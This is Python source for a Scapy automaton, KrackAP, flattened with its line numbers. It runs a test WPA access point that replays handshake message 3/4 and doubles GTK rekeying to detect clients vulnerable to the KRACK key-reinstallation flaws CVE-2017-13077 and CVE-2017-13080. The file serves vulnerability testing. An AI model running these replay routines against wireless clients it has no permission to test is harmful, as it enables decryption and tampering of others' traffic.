1import hmac 2import hashlib 3from itertools import count 4import struct 5import time 6 7from cryptography.hazmat.primitives import hashes 8from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 9from cryptography.hazmat.backends import default_backend 10 11from scapy.automaton import ATMT, Automaton 12from scapy.base_classes import Net 13from scapy.config import conf 14from scapy.compat import raw, hex_bytes, chb 15from scapy.error import log_runtime 16from scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \ 17 Dot11Auth, Dot11Beacon, Dot11Elt, Dot11ProbeReq, Dot11ProbeResp 18from scapy.layers.eap import EAPOL 19from scapy.layers.l2 import ARP, LLC, SNAP, Ether 20from scapy.layers.dhcp import DHCP_am 21from scapy.packet import Raw 22from scapy.utils import hexdump 23from scapy.volatile import RandBin 24 25 26from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \ 27 build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \ 28 customPRF512, ARC4_encrypt 29 30 31class DHCPOverWPA(DHCP_am): 32 """Wrapper over DHCP_am to send and recv inside a WPA channel""" 33 34 def __init__(self, send_func, *args, **kwargs): 35 super(DHCPOverWPA, self).__init__(*args, **kwargs) 36 self.send_function = send_func 37 38 def sniff(self, *args, **kwargs): 39 # Do not sniff, use a direct call to 'replay(pkt)' instead 40 return 41 42 43class KrackAP(Automaton): 44 """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in: 45 "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2" 46 47 Example of use: 48 KrackAP( 49 iface="mon0", # A monitor interface 50 ap_mac='11:22:33:44:55:66', # MAC to use 51 ssid="TEST_KRACK", # SSID 52 passphrase="testtest", # Associated passphrase 53 ).run() 54 55 Then, on the target device, connect to "TEST_KRACK" using "testtest" as the 56 passphrase. 57 The output logs will indicate if one of the CVE have been triggered. 58 """ 59 60 # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not 61 # be detected the first time. Several attempt implies the client has been 62 # likely patched 63 ARP_MAX_RETRY = 50 64 65 def __init__(self, *args, **kargs): 66 kargs.setdefault("ll", conf.L2socket) 67 super(KrackAP, self).__init__(*args, **kargs) 68 69 def parse_args(self, ap_mac, ssid, passphrase, 70 # KRACK attack options 71 double_3handshake=True, 72 encrypt_3handshake=True, 73 wait_3handshake=0, 74 double_gtk_refresh=True, 75 arp_target_ip=None, 76 arp_source_ip=None, 77 wait_gtk=10, 78 **kwargs): 79 """ 80 Mandatory arguments: 81 @iface: interface to use (must be in monitor mode) 82 @ap_mac: AP's MAC 83 @ssid: AP's SSID 84 @passphrase: AP's Passphrase (min 8 char.) 85 86 Krack attacks options: 87 88 - Msg 3/4 handshake replay: 89 double_3handshake: double the 3/4 handshake message 90 encrypt_3handshake: encrypt the second 3/4 handshake message 91 wait_3handshake: time to wait (in sec.) before sending the second 3/4 92 - double GTK rekeying: 93 double_gtk_refresh: double the 1/2 GTK rekeying message 94 wait_gtk: time to wait (in sec.) before sending the GTK rekeying 95 arp_target_ip: Client IP to use in ARP req. (to detect attack success) 96 If None, use a DHCP server 97 arp_source_ip: Server IP to use in ARP req. (to detect attack success) 98 If None, use the DHCP server gateway address 99 """ 100 super(KrackAP, self).parse_args(**kwargs) 101 102 # Main AP options 103 self.mac = ap_mac 104 self.ssid = ssid 105 self.passphrase = passphrase 106 107 # Internal structures 108 self.last_iv = None 109 self.client = None 110 self.seq_num = count() 111 self.replay_counter = count() 112 self.time_handshake_end = None 113 self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa, 114 pool=Net("192.168.42.128/25"), 115 network="192.168.42.0/24", 116 gw="192.168.42.1") 117 self.arp_sent = [] 118 self.arp_to_send = 0 119 self.arp_retry = 0 120 121 # Bit 0: 3way handshake sent 122 # Bit 1: GTK rekeying sent 123 # Bit 2: ARP response obtained 124 self.krack_state = 0 125 126 # Krack options 127 self.double_3handshake = double_3handshake 128 self.encrypt_3handshake = encrypt_3handshake 129 self.wait_3handshake = wait_3handshake 130 self.double_gtk_refresh = double_gtk_refresh 131 self.arp_target_ip = arp_target_ip 132 if arp_source_ip is None: 133 # Use the DHCP server Gateway address 134 arp_source_ip = self.dhcp_server.gw 135 self.arp_source_ip = arp_source_ip 136 self.wait_gtk = wait_gtk 137 138 # May take several seconds 139 self.install_PMK() 140 141 def run(self, *args, **kwargs): 142 log_runtime.warning("AP started with ESSID: %s, BSSID: %s", 143 self.ssid, self.mac) 144 super(KrackAP, self).run(*args, **kwargs) 145 146 # Key utils 147 148 @staticmethod 149 def gen_nonce(size): 150 """Return a nonce of @size element of random bytes as a string""" 151 return raw(RandBin(size)) 152 153 def install_PMK(self): 154 """Compute and install the PMK""" 155 self.pmk = PBKDF2HMAC( 156 algorithm=hashes.SHA1(), 157 length=32, 158 salt=self.ssid, 159 iterations=4096, 160 backend=default_backend(), 161 ).derive(self.passphrase) 162 163 def install_unicast_keys(self, client_nonce): 164 """Use the client nonce @client_nonce to compute and install 165 PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP) 166 """ 167 pmk = self.pmk 168 anonce = self.anonce 169 snonce = client_nonce 170 amac = hex_bytes(self.mac.replace(":", "")) 171 smac = hex_bytes(self.client.replace(":", "")) 172 173 # Compute PTK 174 self.ptk = customPRF512(pmk, amac, smac, anonce, snonce) 175 176 # Extract derivated keys 177 self.kck = self.ptk[:16] 178 self.kek = self.ptk[16:32] 179 self.tk = self.ptk[32:48] 180 self.mic_ap_to_sta = self.ptk[48:56] 181 self.mic_sta_to_ap = self.ptk[56:64] 182 183 # Reset IV 184 self.client_iv = count() 185 186 def install_GTK(self): 187 """Compute a new GTK and install it alongs 188 MIC (AP -> Group = broadcast + multicast) 189 """ 190 191 # Compute GTK 192 self.gtk_full = self.gen_nonce(32) 193 self.gtk = self.gtk_full[:16] 194 195 # Extract derivated keys 196 self.mic_ap_to_group = self.gtk_full[16:24] 197 198 # Reset IV 199 self.group_iv = count() 200 201 # Packet utils 202 203 def build_ap_info_pkt(self, layer_cls, dest): 204 """Build a packet with info describing the current AP 205 For beacon / proberesp use 206 Assume the AP is on channel 6 207 """ 208 return RadioTap() \ 209 / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \ 210 / layer_cls(timestamp=0, beacon_interval=100, 211 cap='ESS+privacy') \ 212 / Dot11Elt(ID="SSID", info=self.ssid) \ 213 / Dot11Elt(ID="Rates", info=b'\x82\x84\x8b\x96\x0c\x12\x18$') \ 214 / Dot11Elt(ID="DSset", info=b"\x06") \ 215 / Dot11Elt( 216 ID="RSNinfo", 217 info=b'\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x02'\ 218 b'\x01\x00\x00\x0f\xac\x02\x00\x00' 219 ) 220 221 @staticmethod 222 def build_EAPOL_Key_8021X2004( 223 key_information, 224 replay_counter, 225 nonce, 226 data=None, 227 key_mic=None, 228 key_data_encrypt=None, 229 key_rsc=0, 230 key_id=0, 231 key_descriptor_type=2, # EAPOL RSN Key 232 ): 233 pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key") 234 235 key_iv = KrackAP.gen_nonce(16) 236 237 assert key_rsc == 0 # Other values unsupported 238 assert key_id == 0 # Other values unsupported 239 payload = b"".join([ 240 chb(key_descriptor_type), 241 struct.pack(">H", key_information), 242 b'\x00\x20', # Key length 243 struct.pack(">Q", replay_counter), 244 nonce, 245 key_iv, 246 struct.pack(">Q", key_rsc), 247 struct.pack(">Q", key_id), 248 ]) 249 250 # MIC field is set to 0's during MIC computation 251 offset_MIC = len(payload) 252 payload += b'\x00' * 0x10 253 254 if data is None and key_mic is None and key_data_encrypt is None: 255 # If key is unknown and there is no data, no MIC is needed 256 # Exemple: handshake 1/4 257 payload += b'\x00' * 2 # Length 258 return pkt / Raw(load=payload) 259 260 assert data is not None 261 assert key_mic is not None 262 assert key_data_encrypt is not None 263 264 # Skip 256 first bytes 265 # REF: 802.11i 8.5.2 266 # Key Descriptor Version 1: 267 # ... 268 # No padding shall be used. The encryption key is generated by 269 # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets 270 # of the RC4 key stream shall be discarded following RC4 stream cipher 271 # initialization with the KEK, and encryption begins using the 257th key 272 # stream octet. 273 enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256) 274 275 payload += struct.pack(">H", len(data)) 276 payload += enc_data 277 278 # Compute MIC and set at the right place 279 temp_mic = pkt.copy() 280 temp_mic /= Raw(load=payload) 281 to_mic = raw(temp_mic[EAPOL]) 282 mic = hmac.new(key_mic, to_mic, hashlib.md5).digest() 283 final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):] 284 assert len(final_payload) == len(payload) 285 286 return pkt / Raw(load=final_payload) 287 288 def build_GTK_KDE(self): 289 """Build the Key Data Encapsulation for GTK 290 KeyID: 0 291 Ref: 802.11i p81 292 """ 293 return b''.join([ 294 b'\xdd', # Type KDE 295 chb(len(self.gtk_full) + 6), 296 b'\x00\x0f\xac', # OUI 297 b'\x01', # GTK KDE 298 b'\x00\x00', # KeyID - Tx - Reserved x2 299 self.gtk_full, 300 ]) 301 302 def send_wpa_enc(self, data, iv, seqnum, dest, mic_key, 303 key_idx=0, additionnal_flag=["from-DS"], 304 encrypt_key=None): 305 """Send an encrypted packet with content @data, using IV @iv, 306 sequence number @seqnum, MIC key @mic_key 307 """ 308 309 if encrypt_key is None: 310 encrypt_key = self.tk 311 312 rep = RadioTap() 313 rep /= Dot11( 314 addr1=dest, 315 addr2=self.mac, 316 addr3=self.mac, 317 FCfield="+".join(['wep'] + additionnal_flag), 318 SC=(next(self.seq_num) << 4), 319 subtype=0, 320 type="Data", 321 ) 322 323 # Assume packet is send by our AP -> use self.mac as source 324 325 # Encapsule in TKIP with MIC Michael and ICV 326 data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest) 327 328 # Header TKIP + payload 329 rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key)) 330 331 self.send(rep) 332 return rep 333 334 def send_wpa_to_client(self, data, **kwargs): 335 kwargs.setdefault("encrypt_key", self.tk) 336 return self.send_wpa_enc(data, next(self.client_iv), 337 next(self.seq_num), self.client, 338 self.mic_ap_to_sta, **kwargs) 339 340 def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs): 341 kwargs.setdefault("encrypt_key", self.gtk) 342 return self.send_wpa_enc(data, next(self.group_iv), 343 next(self.seq_num), dest, 344 self.mic_ap_to_group, **kwargs) 345 346 def send_ether_over_wpa(self, pkt, **kwargs): 347 """Send an Ethernet packet using the WPA channel 348 Extra arguments will be ignored, and are just left for compatibiliy 349 """ 350 351 payload = LLC()/SNAP()/pkt[Ether].payload 352 dest = pkt.dst 353 if dest == "ff:ff:ff:ff:ff:ff": 354 self.send_wpa_to_group(payload, dest) 355 else: 356 assert dest == self.client 357 self.send_wpa_to_client(payload) 358 359 def deal_common_pkt(self, pkt): 360 # Send to DHCP server 361 # LLC / SNAP to Ether 362 if SNAP in pkt: 363 ether_pkt = Ether(src=self.client,dst=self.mac) / pkt[SNAP].payload 364 self.dhcp_server.reply(ether_pkt) 365 366 # If an ARP request is made, extract client IP and answer 367 if ARP in pkt and \ 368 pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw: 369 if self.arp_target_ip is None: 370 self.arp_target_ip = pkt[ARP].psrc 371 log_runtime.info("Detected IP: %s", self.arp_target_ip) 372 373 # Reply 374 ARP_ans = LLC()/SNAP()/ARP( 375 op="is-at", 376 psrc=self.arp_source_ip, 377 pdst=self.arp_target_ip, 378 hwsrc=self.mac, 379 hwdst=self.client, 380 ) 381 self.send_wpa_to_client(ARP_ans) 382 383 # States 384 385 @ATMT.state(initial=True) 386 def WAIT_AUTH_REQUEST(self): 387 log_runtime.debug("State WAIT_AUTH_REQUEST") 388 389 @ATMT.state() 390 def AUTH_RESPONSE_SENT(self): 391 log_runtime.debug("State AUTH_RESPONSE_SENT") 392 393 @ATMT.state() 394 def ASSOC_RESPONSE_SENT(self): 395 log_runtime.debug("State ASSOC_RESPONSE_SENT") 396 397 @ATMT.state() 398 def WPA_HANDSHAKE_STEP_1_SENT(self): 399 log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT") 400 401 @ATMT.state() 402 def WPA_HANDSHAKE_STEP_3_SENT(self): 403 log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT") 404 405 @ATMT.state() 406 def KRACK_DISPATCHER(self): 407 log_runtime.debug("State KRACK_DISPATCHER") 408 409 @ATMT.state() 410 def ANALYZE_DATA(self): 411 log_runtime.debug("State ANALYZE_DATA") 412 413 @ATMT.timeout(ANALYZE_DATA, 1) 414 def timeout_analyze_data(self): 415 raise self.KRACK_DISPATCHER() 416 417 @ATMT.state() 418 def RENEW_GTK(self): 419 log_runtime.debug("State RENEW_GTK") 420 421 @ATMT.state() 422 def WAIT_GTK_ACCEPT(self): 423 log_runtime.debug("State WAIT_GTK_ACCEPT") 424 425 @ATMT.state() 426 def WAIT_ARP_REPLIES(self): 427 log_runtime.debug("State WAIT_ARP_REPLIES") 428 429 @ATMT.state(final=1) 430 def EXIT(self): 431 log_runtime.debug("State EXIT") 432 433 @ATMT.timeout(WAIT_GTK_ACCEPT, 1) 434 def timeout_wait_gtk_accept(self): 435 raise self.RENEW_GTK() 436 437 @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1) 438 def timeout_waiting(self): 439 raise self.WAIT_AUTH_REQUEST() 440 441 @ATMT.action(timeout_waiting) 442 def send_beacon(self): 443 log_runtime.debug("Send a beacon") 444 rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff") 445 self.send(rep) 446 447 @ATMT.receive_condition(WAIT_AUTH_REQUEST) 448 def probe_request_received(self, pkt): 449 # Avoid packet from other interfaces 450 if not RadioTap in pkt: 451 return 452 if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid: 453 raise self.WAIT_AUTH_REQUEST().action_parameters(pkt) 454 455 @ATMT.action(probe_request_received) 456 def send_probe_response(self, pkt): 457 rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2) 458 self.send(rep) 459 460 @ATMT.receive_condition(WAIT_AUTH_REQUEST) 461 def authent_received(self, pkt): 462 # Avoid packet from other interfaces 463 if not RadioTap in pkt: 464 return 465 if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac: 466 raise self.AUTH_RESPONSE_SENT().action_parameters(pkt) 467 468 @ATMT.action(authent_received) 469 def send_auth_response(self, pkt): 470 471 # Save client MAC for later 472 self.client = pkt.addr2 473 log_runtime.warning("Client %s connected!", self.client) 474 475 # Launch DHCP Server 476 self.dhcp_server.run() 477 478 rep = RadioTap() 479 rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) 480 rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo, 481 status=pkt[Dot11Auth].status) 482 483 self.send(rep) 484 485 @ATMT.receive_condition(AUTH_RESPONSE_SENT) 486 def assoc_received(self, pkt): 487 if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ 488 pkt[Dot11Elt::{'ID': 0}].info == self.ssid: 489 raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt) 490 491 @ATMT.action(assoc_received) 492 def send_assoc_response(self, pkt): 493 494 # Get RSN info 495 temp_pkt = pkt[Dot11Elt::{"ID":48}].copy() 496 temp_pkt.remove_payload() 497 self.RSN = raw(temp_pkt) 498 # Avoid 802.11w, etc. (deactivate RSN capabilities) 499 self.RSN = self.RSN[:-2] + "\x00\x00" 500 501 rep = RadioTap() 502 rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) 503 rep /= Dot11AssoResp() 504 rep /= Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18$') 505 506 self.send(rep) 507 508 @ATMT.condition(ASSOC_RESPONSE_SENT) 509 def assoc_sent(self): 510 raise self.WPA_HANDSHAKE_STEP_1_SENT() 511 512 @ATMT.action(assoc_sent) 513 def send_wpa_handshake_1(self): 514 515 self.anonce = self.gen_nonce(32) 516 517 rep = RadioTap() 518 rep /= Dot11( 519 addr1=self.client, 520 addr2=self.mac, 521 addr3=self.mac, 522 FCfield='from-DS', 523 SC=(next(self.seq_num) << 4), 524 ) 525 rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) 526 rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication 527 rep /= self.build_EAPOL_Key_8021X2004( 528 key_information=0x89, 529 replay_counter=next(self.replay_counter), 530 nonce=self.anonce, 531 ) 532 533 self.send(rep) 534 535 @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT) 536 def wpa_handshake_1_sent(self, pkt): 537 # Avoid packet from other interfaces 538 if not RadioTap in pkt: 539 return 540 if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ 541 pkt[EAPOL].load[1] == "\x01": 542 # Key MIC: set, Secure / Error / Request / Encrypted / SMK 543 # message: not set 544 raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt) 545 546 @ATMT.action(wpa_handshake_1_sent) 547 def send_wpa_handshake_3(self, pkt): 548 549 # Both nonce have been exchanged, install keys 550 client_nonce = pkt[EAPOL].load[13:13 + 0x20] 551 self.install_unicast_keys(client_nonce) 552 553 # Check client MIC 554 555 # Data: full message with MIC place replaced by 0s 556 # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python 557 client_mic = pkt[EAPOL].load[77:77 + 16] 558 client_data = raw(pkt[EAPOL]).replace(client_mic, "\x00" * len(client_mic)) 559 assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic 560 561 rep = RadioTap() 562 rep /= Dot11( 563 addr1=self.client, 564 addr2=self.mac, 565 addr3=self.mac, 566 FCfield='from-DS', 567 SC=(next(self.seq_num) << 4), 568 ) 569 570 rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) 571 rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication 572 573 self.install_GTK() 574 data = self.RSN 575 data += self.build_GTK_KDE() 576 577 eap = self.build_EAPOL_Key_8021X2004( 578 key_information=0x13c9, 579 replay_counter=next(self.replay_counter), 580 nonce=self.anonce, 581 data=data, 582 key_mic=self.kck, 583 key_data_encrypt=self.kek, 584 ) 585 586 self.send(rep / eap) 587 588 @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT) 589 def wpa_handshake_3_sent(self, pkt): 590 # Avoid packet from other interfaces 591 if not RadioTap in pkt: 592 return 593 if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ 594 pkt[EAPOL].load[1:3] == "\x03\x09": 595 self.time_handshake_end = time.time() 596 raise self.KRACK_DISPATCHER() 597 598 @ATMT.condition(KRACK_DISPATCHER) 599 def krack_dispatch(self): 600 now = time.time() 601 # Handshake 3/4 replay 602 if self.double_3handshake and (self.krack_state & 1 == 0) and \ 603 (now - self.time_handshake_end) > self.wait_3handshake: 604 log_runtime.info("Trying to trigger CVE-2017-13077") 605 raise self.ANALYZE_DATA().action_parameters(send_3handshake=True) 606 607 # GTK rekeying 608 if (self.krack_state & 2 == 0) and \ 609 (now - self.time_handshake_end) > self.wait_gtk: 610 raise self.ANALYZE_DATA().action_parameters(send_gtk=True) 611 612 # Fallback in data analysis 613 raise self.ANALYZE_DATA().action_parameters() 614 615 @ATMT.action(krack_dispatch) 616 def krack_proceed(self, send_3handshake=False, send_gtk=False): 617 if send_3handshake: 618 rep = RadioTap() 619 rep /= Dot11( 620 addr1=self.client, 621 addr2=self.mac, 622 addr3=self.mac, 623 FCfield='from-DS', 624 SC=(next(self.seq_num) << 4), 625 subtype=0, 626 type="Data", 627 ) 628 629 rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) 630 rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication 631 632 data = self.RSN 633 data += self.build_GTK_KDE() 634 635 eap_2 = self.build_EAPOL_Key_8021X2004( 636 # Key information 0x13c9: 637 # ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure, 638 # Encrypted, SMK 639 key_information=0x13c9, 640 replay_counter=next(self.replay_counter), 641 nonce=self.anonce, 642 data=data, 643 key_mic=self.kck, 644 key_data_encrypt=self.kek, 645 ) 646 647 rep /= eap_2 648 649 if self.encrypt_3handshake: 650 self.send_wpa_to_client(rep[LLC]) 651 else: 652 self.send(rep) 653 654 self.krack_state |= 1 655 656 if send_gtk: 657 self.krack_state |= 2 658 # Renew the GTK 659 self.install_GTK() 660 raise self.RENEW_GTK() 661 662 @ATMT.receive_condition(ANALYZE_DATA) 663 def get_data(self, pkt): 664 # Avoid packet from other interfaces 665 if not RadioTap in pkt: 666 return 667 668 # Skip retries 669 if pkt[Dot11].FCfield.retry: 670 return 671 672 # Skip unencrypted frames (TKIP rely on WEP packet) 673 if not pkt[Dot11].FCfield.wep: 674 return 675 676 # Dot11.type 2: Data 677 if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: 678 # Do not check pkt.addr3, frame can be broadcast 679 raise self.KRACK_DISPATCHER().action_parameters(pkt) 680 681 @ATMT.action(get_data) 682 def extract_iv(self, pkt): 683 # Get IV 684 TSC, _, _ = parse_TKIP_hdr(pkt) 685 iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \ 686 (TSC[4] << 32) | (TSC[5] << 40) 687 log_runtime.info("Got a packet with IV: %s", hex(iv)) 688 689 if self.last_iv is None: 690 self.last_iv = iv 691 else: 692 if iv <= self.last_iv: 693 log_runtime.warning("IV re-use!! Client seems to be " 694 "vulnerable to handshake 3/4 replay " 695 "(CVE-2017-13077)" 696 ) 697 698 data_clear = None 699 700 # Normal decoding 701 data = parse_data_pkt(pkt, self.tk) 702 try: 703 data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, 704 pkt.addr3) 705 except (ICVError, MICError): 706 pass 707 708 # Decoding with a 0's TK 709 if data_clear is None: 710 data = parse_data_pkt(pkt, "\x00" * len(self.tk)) 711 try: 712 mic_key = "\x00" * len(self.mic_sta_to_ap) 713 data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3) 714 log_runtime.warning("Client has installed an all zero " 715 "encryption key (TK)!!") 716 except (ICVError, MICError): 717 pass 718 719 if data_clear is None: 720 log_runtime.warning("Unable to decode the packet, something went " 721 "wrong") 722 log_runtime.debug(hexdump(pkt, dump=True)) 723 self.deal_common_pkt(pkt) 724 return 725 726 log_runtime.debug(hexdump(data_clear, dump=True)) 727 pkt = LLC(data_clear) 728 log_runtime.debug(repr(pkt)) 729 self.deal_common_pkt(pkt) 730 731 732 @ATMT.condition(RENEW_GTK) 733 def gtk_pkt_1(self): 734 raise self.WAIT_GTK_ACCEPT() 735 736 @ATMT.action(gtk_pkt_1) 737 def send_renew_gtk(self): 738 739 rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3) 740 rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication 741 742 data = self.build_GTK_KDE() 743 744 eap = self.build_EAPOL_Key_8021X2004( 745 # Key information 0x1381: 746 # ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted, 747 # SMK 748 key_information=0x1381, 749 replay_counter=next(self.replay_counter), 750 nonce=self.anonce, 751 data=data, 752 key_mic=self.kck, 753 key_data_encrypt=self.kek, 754 ) 755 756 rep_to_enc /= eap 757 self.send_wpa_to_client(rep_to_enc) 758 759 @ATMT.receive_condition(WAIT_GTK_ACCEPT) 760 def get_gtk_2(self, pkt): 761 # Avoid packet from other interfaces 762 if not RadioTap in pkt: 763 return 764 765 # Skip retries 766 if pkt[Dot11].FCfield.retry: 767 return 768 769 # Skip unencrypted frames (TKIP rely on WEP packet) 770 if not pkt[Dot11].FCfield.wep: 771 return 772 773 # Normal decoding 774 try: 775 data = parse_data_pkt(pkt, self.tk) 776 except ValueError: 777 return 778 try: 779 data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, 780 pkt.addr3) 781 except (ICVError, MICError): 782 return 783 784 pkt_clear = LLC(data_clear) 785 if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \ 786 pkt_clear[EAPOL].load[1:3] == "\x03\x01": 787 raise self.WAIT_ARP_REPLIES() 788 789 @ATMT.action(get_gtk_2) 790 def send_arp_req(self): 791 792 if self.krack_state & 4 == 0: 793 # Set the address for future uses 794 self.arp_target_ip = self.dhcp_server.leases.get(self.client, 795 self.arp_target_ip) 796 assert self.arp_target_ip is not None 797 798 # Send the first ARP requests, for control test 799 log_runtime.info("Send ARP who-was from '%s' to '%s'", 800 self.arp_source_ip, 801 self.arp_target_ip) 802 arp_pkt = self.send_wpa_to_group( 803 LLC()/SNAP()/ARP(op="who-has", 804 psrc=self.arp_source_ip, 805 pdst=self.arp_target_ip, 806 hwsrc=self.mac), 807 dest='ff:ff:ff:ff:ff:ff', 808 ) 809 self.arp_sent.append(arp_pkt) 810 else: 811 if self.arp_to_send < len(self.arp_sent): 812 # Re-send the ARP requests already sent 813 self.send(self.arp_sent[self.arp_to_send]) 814 self.arp_to_send += 1 815 else: 816 # Re-send GTK 817 self.arp_to_send = 0 818 self.arp_retry += 1 819 log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d", 820 self.arp_retry, self.ARP_MAX_RETRY) 821 if self.arp_retry > self.ARP_MAX_RETRY: 822 # We retries 100 times to send GTK, then already sent ARPs 823 log_runtime.warning("Client is likely not vulnerable to " 824 "CVE-2017-13080") 825 raise self.EXIT() 826 827 raise self.RENEW_GTK() 828 829 @ATMT.timeout(WAIT_ARP_REPLIES, 0.5) 830 def resend_arp_req(self): 831 self.send_arp_req() 832 raise self.WAIT_ARP_REPLIES() 833 834 @ATMT.receive_condition(WAIT_ARP_REPLIES) 835 def get_arp(self, pkt): 836 # Avoid packet from other interfaces 837 if not RadioTap in pkt: 838 return 839 840 # Skip retries 841 if pkt[Dot11].FCfield.retry: 842 return 843 844 # Skip unencrypted frames (TKIP rely on WEP packet) 845 if not pkt[Dot11].FCfield.wep: 846 return 847 848 # Dot11.type 2: Data 849 if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: 850 # Do not check pkt.addr3, frame can be broadcast 851 raise self.WAIT_ARP_REPLIES().action_parameters(pkt) 852 853 @ATMT.action(get_arp) 854 def check_arp_reply(self, pkt): 855 data = parse_data_pkt(pkt, self.tk) 856 try: 857 data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, 858 pkt.addr3) 859 except (ICVError, MICError): 860 return 861 862 decoded_pkt = LLC(data_clear) 863 log_runtime.debug(hexdump(decoded_pkt, dump=True)) 864 log_runtime.debug(repr(decoded_pkt)) 865 self.deal_common_pkt(decoded_pkt) 866 if ARP not in decoded_pkt: 867 return 868 869 # ARP.op 2: is-at 870 if decoded_pkt[ARP].op == 2 and \ 871 decoded_pkt[ARP].psrc == self.arp_target_ip and \ 872 decoded_pkt[ARP].pdst == self.arp_source_ip: 873 # Got the expected ARP 874 if self.krack_state & 4 == 0: 875 # First time, normal behavior 876 log_runtime.info("Got ARP reply, this is normal") 877 self.krack_state |= 4 878 log_runtime.info("Trying to trigger CVE-2017-13080") 879 raise self.RENEW_GTK() 880 else: 881 # Second time, the packet has been accepted twice! 882 log_runtime.warning("Broadcast packet accepted twice!! " 883 "(CVE-2017-13080)") 884